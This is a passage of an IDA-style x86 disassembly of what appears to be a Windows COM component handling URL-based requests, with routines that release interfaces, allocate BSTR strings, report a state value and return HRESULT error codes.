call sub_69B19C5C
mov esi, [ebp+8]
lea edi, [esi-24h]
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov eax, [esi+20h]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B7B2D1
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+18h]
mov eax, [esi+20h]
cmp eax, ebx
jz short loc_69B7B2B4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B2B4: ; CODE XREF: sub_69B7B27F+2Dj
mov [esi+20h], ebx
cmp [esi+34h], ebx
jnz short loc_69B7B2C2
mov eax, [ebp+0Ch]
mov [esi+34h], eax
loc_69B7B2C2: ; CODE XREF: sub_69B7B27F+3Bj
mov eax, [ebp+10h]
mov [esi+38h], eax
push 5
mov ecx, edi
call sub_69B7AA25
loc_69B7B2D1: ; CODE XREF: sub_69B7B27F+1Fj
mov eax, [esi+9Ch]
cmp eax, ebx
jz loc_69B7B392
mov ecx, [eax]
push eax
call dword ptr [ecx+64h]
cmp eax, 3
jz loc_69B7B392
cmp eax, 4
jz loc_69B7B392
cmp [esi+34h], ebx
jge loc_69B7B384
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B7B317
mov eax, 80004005h
jmp loc_69B7B39D
; ---------------------------------------------------------------------------
loc_69B7B317: ; CODE XREF: sub_69B7B27F+8Cj
push ebx
push eax
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], ebx
push ebx
push dword ptr [esi+34h]
call sub_69B2F944
pop ecx
pop ecx
mov edi, eax
mov [ebp-2Ch], edi
mov ecx, [edi+0Ch]
mov [ebp-30h], ecx
mov eax, [esi+9Ch]
mov edx, [eax]
push ecx
push eax
call dword ptr [edx+14h]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+30h]
jmp short loc_69B7B36D
; ---------------------------------------------------------------------------
loc_69B7B350: ; DATA XREF: .text:69B7B3ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7B359: ; DATA XREF: .text:69B7B3B0o
mov esp, [ebp-18h]
mov esi, [ebp+8]
mov eax, [esi+9Ch]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+14h]
loc_69B7B36D: ; CODE XREF: sub_69B7B27F+CFj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
jmp short loc_69B7B392
; ---------------------------------------------------------------------------
loc_69B7B384: ; CODE XREF: sub_69B7B27F+7Bj
mov eax, [esi+9Ch]
mov ecx, [eax]
push 0FFFFFFFFh
push eax
call dword ptr [ecx+60h]
loc_69B7B392: ; CODE XREF: sub_69B7B27F+5Aj
; sub_69B7B27F+69j ...
lea eax, [esi-24h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
xor eax, eax
loc_69B7B39D: ; CODE XREF: sub_69B7B27F+93j
call sub_69B1853C
retn 10h
sub_69B7B27F endp
; ---------------------------------------------------------------------------
align 4
dword_69B7B3A8 dd 0FFFFFFFFh dd offset loc_69B7B350
dd offset loc_69B7B359
; =============== S U B R O U T I N E =======================================
sub_69B7B3B4 proc near ; DATA XREF: .text:69B2A630o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+20h]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
retn 8
sub_69B7B3B4 endp
; =============== S U B R O U T I N E =======================================
sub_69B7B3C8 proc near ; CODE XREF: sub_69B7B838+53p
; sub_69B7B899+36p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
jge short locret_69B7B40A
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jz short loc_69B7B409
push esi
call sub_69B1D411
test eax, eax
jz short loc_69B7B400
test esi, esi
jle short loc_69B7B3F2
and esi, 0FFFFh
or esi, 80070000h
loc_69B7B3F2: ; CODE XREF: sub_69B7B3C8+1Cj
push eax
push esi
call sub_69B1D342
mov ecx, eax
call sub_69B2E875
loc_69B7B400: ; CODE XREF: sub_69B7B3C8+18j
push [esp+4+arg_0]
call sub_69B2E8B8
loc_69B7B409: ; CODE XREF: sub_69B7B3C8+Ej
pop esi
locret_69B7B40A: ; CODE XREF: sub_69B7B3C8+5j
retn 8
sub_69B7B3C8 endp
; =============== S U B R O U T I N E =======================================
sub_69B7B40D proc near ; CODE XREF: sub_69B7B446+4p
; sub_69B7B4AF+7Ap ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
mov byte ptr [esi+14h], 0
jz short loc_69B7B423
push eax
call sub_69B1B2B7
and dword ptr [esi], 0
loc_69B7B423: ; CODE XREF: sub_69B7B40D+Bj
mov eax, [esi+10h]
test eax, eax
jz short loc_69B7B434
push eax
call sub_69B1B2B7
and dword ptr [esi+10h], 0
loc_69B7B434: ; CODE XREF: sub_69B7B40D+1Bj
mov ecx, [esi+4]
test ecx, ecx
jz short loc_69B7B440
call sub_69B1C27E
loc_69B7B440: ; CODE XREF: sub_69B7B40D+2Cj
and dword ptr [esi+8], 0
pop esi
retn
sub_69B7B40D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B7B446(LPCWSTR lpString)
sub_69B7B446 proc near ; CODE XREF: sub_69B7C60C+B7p
; sub_69B7C89C+51p
lpString = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_69B7B40D
mov edi, [esp+8+lpString]
test edi, edi
jz short loc_69B7B472
push edi ; lpString
call ds:lstrlenW ; lstrlenW
test eax, eax
jz short loc_69B7B472
lea eax, [eax+eax+2]
push eax
call sub_69B11E44
test eax, eax
mov [esi], eax
jnz short loc_69B7B476
loc_69B7B472: ; CODE XREF: sub_69B7B446+Fj
; sub_69B7B446+1Aj
xor al, al
jmp short loc_69B7B485
; ---------------------------------------------------------------------------
loc_69B7B476: ; CODE XREF: sub_69B7B446+2Aj
push edi
push eax
call sub_69B84AF5
pop ecx
pop ecx
mov byte ptr [esi+14h], 1
mov al, 1
loc_69B7B485: ; CODE XREF: sub_69B7B446+2Ej
pop edi
pop esi
retn 4
sub_69B7B446 endp
; =============== S U B R O U T I N E =======================================
sub_69B7B48A proc near ; CODE XREF: sub_69B7BC9E+BCp
; sub_69B7BDC2+41p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
shr eax, 1
cmp eax, 7FFFFFFFh
jbe short loc_69B7B49E
mov eax, 80070057h
jmp short locret_69B7B4AC
; ---------------------------------------------------------------------------
loc_69B7B49E: ; CODE XREF: sub_69B7B48A+Bj
push [esp+arg_8]
push eax
push [esp+8+arg_0]
call sub_69B7A7C4
locret_69B7B4AC: ; CODE XREF: sub_69B7B48A+12j
retn 0Ch
sub_69B7B48A endp
; =============== S U B R O U T I N E =======================================
sub_69B7B4AF proc near ; CODE XREF: sub_69B7B7FD+30p
; sub_69B7C228+16p ...
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov eax, [esi+44h]
cmp eax, ebx
mov [esi+3Ch], ebx
mov [esi+50h], ebx
mov [esi+40h], bl
mov [esi+54h], ebx
mov [esi+58h], ebx
mov [esi+5Ch], ebx
mov byte ptr [esi+0B2h], 1
mov [esi+60h], bl
mov [esi+9Ch], ebx
mov [esi+0A8h], ebx
mov [esi+0B0h], bl
mov [esi+0B1h], bl
jz short loc_69B7B4F6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B4F6: ; CODE XREF: sub_69B7B4AF+3Fj
mov eax, [esi+48h]
cmp eax, ebx
mov [esi+44h], ebx
jz short loc_69B7B506
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B506: ; CODE XREF: sub_69B7B4AF+4Fj
mov eax, [esi+4Ch]
cmp eax, ebx
mov [esi+48h], ebx
jz short loc_69B7B516
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B516: ; CODE XREF: sub_69B7B4AF+5Fj
mov ecx, [esi+64h]
cmp ecx, ebx
mov [esi+4Ch], ebx
jz short loc_69B7B525
call sub_69B1C27E
loc_69B7B525: ; CODE XREF: sub_69B7B4AF+6Fj
push edi
lea ecx, [esi+68h]
call sub_69B7B40D
lea edi, [esi+80h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B542
push eax
call sub_69B1B2B7
mov [edi], ebx
loc_69B7B542: ; CODE XREF: sub_69B7B4AF+89j
lea edi, [esi+84h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B55C
push eax
call sub_69B1B2B7
mov [edi], ebx
mov [esi+88h], ebx
loc_69B7B55C: ; CODE XREF: sub_69B7B4AF+9Dj
lea edi, [esi+8Ch]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B576
push eax
call sub_69B1B2B7
mov [edi], ebx
mov [esi+90h], ebx
loc_69B7B576: ; CODE XREF: sub_69B7B4AF+B7j
lea edi, [esi+0ACh]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B58A
push eax
call sub_69B1B2B7
mov [edi], ebx
loc_69B7B58A: ; CODE XREF: sub_69B7B4AF+D1j
lea edi, [esi+94h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B59E
push eax
call sub_69B1B2B7
mov [edi], ebx
loc_69B7B59E: ; CODE XREF: sub_69B7B4AF+E5j
lea edi, [esi+98h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B5B2
push eax
call sub_69B1B2B7
mov [edi], ebx
loc_69B7B5B2: ; CODE XREF: sub_69B7B4AF+F9j
lea edi, [esi+0A0h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B5CC
push eax
call sub_69B1B2B7
mov [edi], ebx
mov [esi+0A4h], ebx
loc_69B7B5CC: ; CODE XREF: sub_69B7B4AF+10Dj
lea edi, [esi+0B8h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B5DE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B5DE: ; CODE XREF: sub_69B7B4AF+127j
mov [edi], ebx
lea edi, [esi+0C0h]
mov eax, [edi]
cmp eax, ebx
jz short loc_69B7B5F2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B5F2: ; CODE XREF: sub_69B7B4AF+13Bj
add esi, 0BCh
mov eax, [esi]
cmp eax, ebx
mov [edi], ebx
pop edi
jz short loc_69B7B607
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7B607: ; CODE XREF: sub_69B7B4AF+150j
mov [esi], ebx
pop esi
pop ebx
retn
sub_69B7B4AF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B7DC7B
loc_69B7B60C: ; CODE XREF: sub_69B7DC7B+5j
; .text:69B7DC8Aj ...
push 14h
push offset dword_69B7B7A0
call sub_69B19C5C
and dword ptr [ebp-1Ch], 0
and dword ptr [ebp-4], 0
push 4
pop edx
mov ecx, edx
mov edi, offset stru_69B1CA6C
mov eax, [ebp+0Ch]
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B645
push dword ptr [ebp+8]
push dword ptr [ebp+10h]
call sub_69B17320
jmp loc_69B7B78D
; ---------------------------------------------------------------------------
loc_69B7B645: ; CODE XREF: sub_69B7DC7B-2648j
mov ecx, edx
mov edi, offset dword_69B2B0C0
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B67C
mov eax, [ebp+8]
mov ecx, [eax+0B4h]
mov [ebp-20h], ecx
push ecx
push eax
call sub_69B8A09C
mov ecx, eax
add eax, 4
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, [ebp+10h]
mov [eax], ecx
jmp loc_69B7B78D
; ---------------------------------------------------------------------------
loc_69B7B67C: ; CODE XREF: sub_69B7DC7B-2629j
mov ecx, edx
mov edi, offset dword_69B2B110
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B6A8
mov eax, [ebp+8]
mov ecx, [eax+0B4h]
mov [ebp-24h], ecx
push ecx
push eax
call sub_69B8A09C
mov ecx, [ebp+10h]
mov [ecx], eax
jmp loc_69B7B78D
; ---------------------------------------------------------------------------
loc_69B7B6A8: ; CODE XREF: sub_69B7DC7B-25F2j
mov ecx, edx
mov edi, offset dword_69B2AF20
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B6CF
mov eax, [ebp+8]
mov ecx, eax
add eax, 24h
loc_69B7B6BF: ; CODE XREF: sub_69B7DC7B-2595j
; sub_69B7DC7B-257Cj ...
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, [ebp+10h]
mov [eax], ecx
jmp loc_69B7B75C
; ---------------------------------------------------------------------------
loc_69B7B6CF: ; CODE XREF: sub_69B7DC7B-25C6j
mov ecx, edx
mov edi, offset dword_69B2AF80
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B6E8
mov eax, [ebp+8]
mov ecx, eax
add eax, 28h
jmp short loc_69B7B6BF
; ---------------------------------------------------------------------------
loc_69B7B6E8: ; CODE XREF: sub_69B7DC7B-259Fj
mov ecx, edx
mov edi, offset dword_69B2AF30
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B701
mov eax, [ebp+8]
mov ecx, eax
add eax, 2Ch
jmp short loc_69B7B6BF
; ---------------------------------------------------------------------------
loc_69B7B701: ; CODE XREF: sub_69B7DC7B-2586j
mov ecx, edx
mov edi, offset dword_69B2AF90
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B71A
mov eax, [ebp+8]
mov ecx, eax
add eax, 30h
jmp short loc_69B7B6BF
; ---------------------------------------------------------------------------
loc_69B7B71A: ; CODE XREF: sub_69B7DC7B-256Dj
mov ecx, edx
mov edi, offset dword_69B2B040
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7B733
mov eax, [ebp+8]
mov ecx, eax
add eax, 38h
jmp short loc_69B7B6BF
; ---------------------------------------------------------------------------
loc_69B7B733: ; CODE XREF: sub_69B7DC7B-2554j
mov ecx, edx
mov edi, offset dword_69B2AF60
mov esi, eax
xor eax, eax
repe cmpsd
jnz short loc_69B7B74F
mov eax, [ebp+8]
mov ecx, eax
add eax, 34h
jmp loc_69B7B6BF
; ---------------------------------------------------------------------------
loc_69B7B74F: ; CODE XREF: sub_69B7DC7B-253Bj
mov eax, [ebp+10h]
and dword ptr [eax], 0
mov dword ptr [ebp-1Ch], 80004002h
loc_69B7B75C: ; CODE XREF: sub_69B7DC7B-25B1j
cmp dword ptr [ebp-1Ch], 0
jnz short loc_69B7B78D
mov eax, [eax]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short loc_69B7B78D
; END OF FUNCTION CHUNK FOR sub_69B7DC7B
; =============== S U B R O U T I N E =======================================
sub_69B7B76C proc near ; DATA XREF: .text:69B7B7A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B7B76C endp
; =============== S U B R O U T I N E =======================================
sub_69B7B775 proc near ; DATA XREF: .text:69B7B7A8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-1Ch], eax
sub_69B7B775 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_69B7DC7B
loc_69B7B78D: ; CODE XREF: sub_69B7DC7B-263Bj
; sub_69B7DC7B-2604j ...
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B7DC7B
; ---------------------------------------------------------------------------
align 10h
dword_69B7B7A0 dd 0FFFFFFFFh dd offset sub_69B7B76C
dd offset sub_69B7B775
; =============== S U B R O U T I N E =======================================
sub_69B7B7AC proc near ; CODE XREF: sub_69B7D68D+143p
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+18h], ebx
jnz short loc_69B7B7BF
lea ecx, [esi+0Ch]
call sub_69B8A014
loc_69B7B7BF: ; CODE XREF: sub_69B7B7AC+9j
mov eax, [esi+18h]
cmp eax, ebx
jz short loc_69B7B7F8
mov ecx, [eax+0Ch]
push edi
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov edi, eax
cmp edi, ebx
jnz short loc_69B7B7E1
mov ebx, 8007000Eh
jmp short loc_69B7B7F7
; ---------------------------------------------------------------------------
loc_69B7B7E1: ; CODE XREF: sub_69B7B7AC+2Cj
push ebx ; int
push edi ; int
push dword ptr [esi+94h] ; lpszUrl
call sub_69B39C17
push edi ; BSTR
mov ebx, eax
call SysFreeString
loc_69B7B7F7: ; CODE XREF: sub_69B7B7AC+33j
pop edi
loc_69B7B7F8: ; CODE XREF: sub_69B7B7AC+18j
pop esi
mov eax, ebx
pop ebx
retn
sub_69B7B7AC endp
; =============== S U B R O U T I N E =======================================
sub_69B7B7FD proc near ; DATA XREF: .text:69B145D8o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp dword ptr [esi+44h], 0
jz short loc_69B7B815
mov eax, [esi+44h]
mov ecx, [eax]
push 0
push 0
push eax
call dword ptr [ecx+14h]
loc_69B7B815: ; CODE XREF: sub_69B7B7FD+9j
lea eax, [esi+0BCh]
cmp dword ptr [eax], 0
jz short loc_69B7B82B
mov eax, [eax]
mov ecx, [eax]
push eax
call dword ptr [ecx+100h]
loc_69B7B82B: ; CODE XREF: sub_69B7B7FD+21j
mov ecx, esi
call sub_69B7B4AF
xor eax, eax
pop esi
retn 4
sub_69B7B7FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7B838 proc near ; DATA XREF: .text:69B145E4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, [ebp+arg_4]
push edi
xor edi, edi
cmp esi, edi
mov [ebp+var_4], edi
jnz short loc_69B7B855
mov edi, 80070057h
jmp short loc_69B7B882
; ---------------------------------------------------------------------------
loc_69B7B855: ; CODE XREF: sub_69B7B838+14j
cmp dword ptr [ebx+3Ch], 5
jge short loc_69B7B862
mov edi, 80004005h
jmp short loc_69B7B882
; ---------------------------------------------------------------------------
loc_69B7B862: ; CODE XREF: sub_69B7B838+21j
mov eax, [ebx+68h]
cmp eax, edi
jz short loc_69B7B86C
push eax
jmp short loc_69B7B871
; ---------------------------------------------------------------------------
loc_69B7B86C: ; CODE XREF: sub_69B7B838+2Fj
push offset word_69B26224 ; OLECHAR *
loc_69B7B871: ; CODE XREF: sub_69B7B838+32j
call SysAllocString
test eax, eax
mov [esi], eax
jnz short loc_69B7B885
mov edi, 8007000Eh
loc_69B7B882: ; CODE XREF: sub_69B7B838+1Bj
; sub_69B7B838+28j
mov [ebp+var_4], edi
loc_69B7B885: ; CODE XREF: sub_69B7B838+43j
push [ebp+var_4]
mov ecx, ebx
push edi
call sub_69B7B3C8
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B7B838 endp
; =============== S U B R O U T I N E =======================================
sub_69B7B899 proc near ; DATA XREF: .text:69B145DCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push edi
xor esi, esi
xor edi, edi
test edx, edx
jnz short loc_69B7B8B2
mov esi, 80070057h
jmp short loc_69B7B8BD
; ---------------------------------------------------------------------------
loc_69B7B8B2: ; CODE XREF: sub_69B7B899+10j
cmp dword ptr [ecx+3Ch], 5
jge short loc_69B7B8C1
mov esi, 80004005h
loc_69B7B8BD: ; CODE XREF: sub_69B7B899+17j
mov edi, esi
jmp short loc_69B7B8CD
; ---------------------------------------------------------------------------
loc_69B7B8C1: ; CODE XREF: sub_69B7B899+1Dj
mov eax, [ecx+54h]
test eax, eax
jnz short loc_69B7B8CB
mov eax, [ecx+5Ch]
loc_69B7B8CB: ; CODE XREF: sub_69B7B899+2Dj
mov [edx], eax
loc_69B7B8CD: ; CODE XREF: sub_69B7B899+26j
push edi
push esi
call sub_69B7B3C8
pop edi
mov eax, esi
pop esi
retn 8
sub_69B7B899 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7B8DB proc near ; DATA XREF: .text:69B145E0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
push edi
mov edi, [ebp+arg_0]
mov [ebp+var_4], ebx
jnz short loc_69B7B8F8
mov ebx, 80070057h
jmp short loc_69B7B905
; ---------------------------------------------------------------------------
loc_69B7B8F8: ; CODE XREF: sub_69B7B8DB+14j
mov [esi], ebx
cmp dword ptr [edi+3Ch], 5
jge short loc_69B7B90A
mov ebx, 80004005h
loc_69B7B905: ; CODE XREF: sub_69B7B8DB+1Bj
mov [ebp+var_4], ebx
jmp short loc_69B7B921
; ---------------------------------------------------------------------------
loc_69B7B90A: ; CODE XREF: sub_69B7B8DB+23j
mov eax, [edi+78h]
cmp eax, ebx
jz short loc_69B7B914
push eax
jmp short loc_69B7B919
; ---------------------------------------------------------------------------
loc_69B7B914: ; CODE XREF: sub_69B7B8DB+34j
push offset aUnknown_0 ; "Unknown"
loc_69B7B919: ; CODE XREF: sub_69B7B8DB+37j
call SysAllocString
mov [esi], eax
loc_69B7B921: ; CODE XREF: sub_69B7B8DB+2Dj
push [ebp+var_4]
mov ecx, edi
push ebx
call sub_69B7B3C8
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 8
sub_69B7B8DB endp
; ---------------------------------------------------------------------------
align 4
; OLECHAR aUnknown_0
aUnknown_0: ; DATA XREF: sub_69B7B8DB:loc_69B7B914o
unicode 0, <Unknown>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7B948 proc near ; DATA XREF: .text:69B145F8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_69B7B965
mov eax, 80070057h
mov ebx, eax
mov [ebp+var_4], eax
jmp short loc_69B7B9A5
; ---------------------------------------------------------------------------
loc_69B7B965: ; CODE XREF: sub_69B7B948+Fj
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
cmp edx, ebx
jle short loc_69B7B9A3
cmp edx, 2
jle short loc_69B7B99B
cmp edx, 3
jz short loc_69B7B993
cmp edx, 4
jz short loc_69B7B98B
cmp edx, 5
jnz short loc_69B7B9A3
mov dword ptr [eax], 4
jmp short loc_69B7B9A5
; ---------------------------------------------------------------------------
loc_69B7B98B: ; CODE XREF: sub_69B7B948+34j
mov dword ptr [eax], 3
jmp short loc_69B7B9A5
; ---------------------------------------------------------------------------
loc_69B7B993: ; CODE XREF: sub_69B7B948+2Fj
mov dword ptr [eax], 2
jmp short loc_69B7B9A5
; ---------------------------------------------------------------------------
loc_69B7B99B: ; CODE XREF: sub_69B7B948+2Aj
mov dword ptr [eax], 1
jmp short loc_69B7B9A5
; ---------------------------------------------------------------------------
loc_69B7B9A3: ; CODE XREF: sub_69B7B948+25j
; sub_69B7B948+39j
mov [eax], ebx
loc_69B7B9A5: ; CODE XREF: sub_69B7B948+1Bj
; sub_69B7B948+41j ...
push [ebp+var_4]
mov ecx, [ebp+arg_0]
push ebx
call sub_69B7B3C8
mov eax, ebx
pop ebx
leave
retn 8
sub_69B7B948 endp
; =============== S U B R O U T I N E =======================================
sub_69B7B9B8 proc near ; DATA XREF: .text:69B145E8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp ecx, ebx
push edi
mov edi, [esp+0Ch+arg_0]
jnz short loc_69B7B9D2
mov esi, 80070057h
jmp short loc_69B7B9FE
; ---------------------------------------------------------------------------
loc_69B7B9D2: ; CODE XREF: sub_69B7B9B8+11j
cmp dword ptr [edi+3Ch], 1
jge short loc_69B7B9DF
mov esi, 80004005h
jmp short loc_69B7B9FE
; ---------------------------------------------------------------------------
loc_69B7B9DF: ; CODE XREF: sub_69B7B9B8+1Ej
lea eax, [edi+0BCh]
mov [ecx], ebx
cmp [eax], ebx
jz short loc_69B7BA00
mov eax, [eax]
mov edx, [eax]
push ecx
push offset dword_69B2AFE0
push eax
call dword ptr [edx]
mov esi, eax
cmp esi, ebx
jge short loc_69B7BA00
loc_69B7B9FE: ; CODE XREF: sub_69B7B9B8+18j
; sub_69B7B9B8+25j
mov ebx, esi
loc_69B7BA00: ; CODE XREF: sub_69B7B9B8+31j
; sub_69B7B9B8+44j
push ebx
push esi
mov ecx, edi
call sub_69B7B3C8
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B7B9B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7BA11(int, VARIANTARG *pvarg)
sub_69B7BA11 proc near ; DATA XREF: .text:69B145F0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
pvarg = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+pvarg]
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
cmp ebx, edi
mov [ebp+var_4], edi
jnz short loc_69B7BA2E
mov edi, 80070057h
jmp short loc_69B7BA77
; ---------------------------------------------------------------------------
loc_69B7BA2E: ; CODE XREF: sub_69B7BA11+14j
cmp dword ptr [esi+3Ch], 5
jz short loc_69B7BA4C
mov al, [esi+0B2h]
neg al
sbb eax, eax
and eax, 0FFFFC005h
add eax, 80004005h
mov edi, eax
jmp short loc_69B7BA70
; ---------------------------------------------------------------------------
loc_69B7BA4C: ; CODE XREF: sub_69B7BA11+21j
push ebx ; pvarg
call VariantInit
mov eax, [esi+0A0h]
test eax, eax
jz short loc_69B7BA7C
push dword ptr [esi+0A8h] ; cElements
push eax ; int
push ebx ; int
call sub_69B2FC8D
mov edi, eax
test edi, edi
jge short loc_69B7BA80
loc_69B7BA70: ; CODE XREF: sub_69B7BA11+39j
push ebx ; pvarg
call VariantClear
loc_69B7BA77: ; CODE XREF: sub_69B7BA11+1Bj
mov [ebp+var_4], edi
jmp short loc_69B7BA80
; ---------------------------------------------------------------------------
loc_69B7BA7C: ; CODE XREF: sub_69B7BA11+4Aj
and word ptr [ebx], 0
loc_69B7BA80: ; CODE XREF: sub_69B7BA11+5Dj
; sub_69B7BA11+69j
push [ebp+var_4]
mov ecx, esi
push edi
call sub_69B7B3C8
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B7BA11 endp
; =============== S U B R O U T I N E =======================================
sub_69B7BA94 proc near ; DATA XREF: .text:69B145ECo
push 2Ch
push offset dword_69B7BC10
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B7BAB9
mov eax, 80004005h
jmp loc_69B7BC08
; ---------------------------------------------------------------------------
loc_69B7BAB9: ; CODE XREF: sub_69B7BA94+19j
push esi
push eax
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-2Ch], esi
mov [ebp-30h], esi
mov [ebp-34h], esi
mov [ebp-38h], esi
mov edi, [ebp+0Ch]
mov ebx, [ebp+8]
cmp edi, esi
jnz short loc_69B7BAE3
mov esi, 80070057h
jmp loc_69B7BB93
; ---------------------------------------------------------------------------
loc_69B7BAE3: ; CODE XREF: sub_69B7BA94+43j
cmp dword ptr [ebx+3Ch], 5
jz short loc_69B7BB04
mov al, [ebx+0B2h]
neg al
sbb eax, eax
and eax, 0FFFFC005h
add eax, 80004005h
mov esi, eax
jmp loc_69B7BB93
; ---------------------------------------------------------------------------
loc_69B7BB04: ; CODE XREF: sub_69B7BA94+53j
lea eax, [ebp-34h]
push eax ; ppstm
mov ecx, ebx
call sub_69B7AFDD
mov esi, eax
test esi, esi
jl short loc_69B7BB93
cmp dword ptr [ebx+0A8h], 0
jbe loc_69B7BBA8
and dword ptr [ebp-4], 0
push dword ptr [ebp-34h]
call sub_69B36811
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B7BB5B
; ---------------------------------------------------------------------------
loc_69B7BB37: ; DATA XREF: .text:69B7BC14o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7BB40: ; DATA XREF: .text:69B7BC18o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov esi, eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp+8]
mov edi, [ebp+0Ch]
loc_69B7BB5B: ; CODE XREF: sub_69B7BA94+A1j
test esi, esi
jnz short loc_69B7BB93
lea esi, [ebx+0ACh]
mov eax, [esi]
test eax, eax
jz short loc_69B7BB7D
push eax
call sub_69B84C68
pop ecx
push eax
push dword ptr [esi]
mov ecx, [ebp-30h]
call sub_69B36338
loc_69B7BB7D: ; CODE XREF: sub_69B7BA94+D5j
push dword ptr [ebp-30h]
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-38h]
push eax
call sub_69B7AE8C
mov esi, eax
test esi, esi
jge short loc_69B7BB98
loc_69B7BB93: ; CODE XREF: sub_69B7BA94+4Aj
; sub_69B7BA94+6Bj ...
mov [ebp-2Ch], esi
jmp short loc_69B7BBBE
; ---------------------------------------------------------------------------
loc_69B7BB98: ; CODE XREF: sub_69B7BA94+FDj
mov ecx, [ebp-3Ch]
shr ecx, 1
mov eax, [ebp-38h]
